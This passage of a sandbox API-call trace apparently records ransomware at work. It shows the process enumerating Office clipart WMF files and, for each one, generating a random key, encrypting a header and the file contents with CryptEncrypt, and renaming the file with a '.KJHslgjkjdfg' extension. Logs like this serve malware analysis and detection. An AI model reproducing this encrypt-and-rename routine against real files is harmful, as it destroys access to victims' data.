0x2a0000 [0181.629] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.629] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.629] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0181.631] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.631] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.631] GetProcessHeap () returned 0x2a0000 [0181.631] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.631] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.632] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.632] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.632] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.632] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.632] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.632] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.632] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.632] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.632] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.632] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.632] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8166, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8166, lpOverlapped=0x0) returned 1 [0181.633] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8170, dwBufLen=0x8170 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8170) returned 1 [0181.634] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.634] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8170, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8170, lpOverlapped=0x0) returned 1 [0181.634] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.634] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.634] SetEndOfFile (hFile=0x114) returned 1 [0181.637] GetProcessHeap () returned 0x2a0000 [0181.637] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.637] GetProcessHeap () returned 0x2a0000 [0181.637] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf.kjhslgjkjdfg")) returned 1 [0181.638] CloseHandle (hObject=0x114) returned 1 [0181.638] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3700, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0282932.WMF", cAlternateFileName="")) returned 1 [0181.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.640] GetProcessHeap () returned 0x2a0000 [0181.640] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.640] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.640] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.640] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.640] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.640] GetProcessHeap () returned 0x2a0000 [0181.640] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.640] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.640] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.640] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.643] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.643] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.643] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.643] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.643] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.643] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.643] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3700, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3700, lpOverlapped=0x0) returned 1 [0181.644] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3700, dwBufLen=0x3700 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3700) returned 1 [0181.644] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.644] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3700, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3700, lpOverlapped=0x0) returned 1 [0181.645] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.645] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x37d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.645] SetEndOfFile (hFile=0x114) returned 1 [0181.648] GetProcessHeap () returned 0x2a0000 [0181.648] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.648] GetProcessHeap () returned 0x2a0000 [0181.648] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.648] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf.kjhslgjkjdfg")) returned 1 [0181.649] CloseHandle (hObject=0x114) returned 1 [0181.649] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x388a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285462.WMF", cAlternateFileName="")) returned 1 [0181.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.651] GetProcessHeap () returned 0x2a0000 [0181.651] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.651] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.651] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.652] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0181.653] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.653] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.653] GetProcessHeap () returned 0x2a0000 [0181.653] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.653] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.654] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.654] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.654] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.654] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.654] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.654] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.654] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.654] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.654] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.654] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.654] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x388a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x388a, lpOverlapped=0x0) returned 1 [0181.655] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3890, dwBufLen=0x3890 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3890) returned 1 [0181.655] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.655] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3890, lpOverlapped=0x0) returned 1 [0181.655] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.655] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.655] SetEndOfFile (hFile=0x114) returned 1 [0181.658] GetProcessHeap () returned 0x2a0000 [0181.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.658] GetProcessHeap () returned 0x2a0000 [0181.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf.kjhslgjkjdfg")) returned 1 [0181.660] CloseHandle (hObject=0x114) returned 1 [0181.660] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2440, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285484.WMF", cAlternateFileName="")) returned 1 [0181.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.661] GetProcessHeap () returned 0x2a0000 [0181.661] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.661] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.661] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.661] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.661] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.661] GetProcessHeap () returned 0x2a0000 [0181.661] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.661] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.661] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.661] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.664] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.664] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.664] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.664] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.665] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.665] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.665] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.665] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2440, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2440, lpOverlapped=0x0) returned 1 [0181.666] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2440, dwBufLen=0x2440 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2440) returned 1 [0181.666] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.666] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2440, lpOverlapped=0x0) returned 1 [0181.666] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.666] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.666] SetEndOfFile (hFile=0x114) returned 1 [0181.669] GetProcessHeap () returned 0x2a0000 [0181.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.669] GetProcessHeap () returned 0x2a0000 [0181.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.669] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf.kjhslgjkjdfg")) returned 1 [0181.671] CloseHandle (hObject=0x114) returned 1 [0181.671] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x795c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285780.WMF", cAlternateFileName="")) returned 1 [0181.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.671] GetProcessHeap () returned 0x2a0000 [0181.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.672] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.672] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.674] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.674] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.674] GetProcessHeap () returned 0x2a0000 [0181.674] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.674] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.674] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.674] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.674] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.674] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, 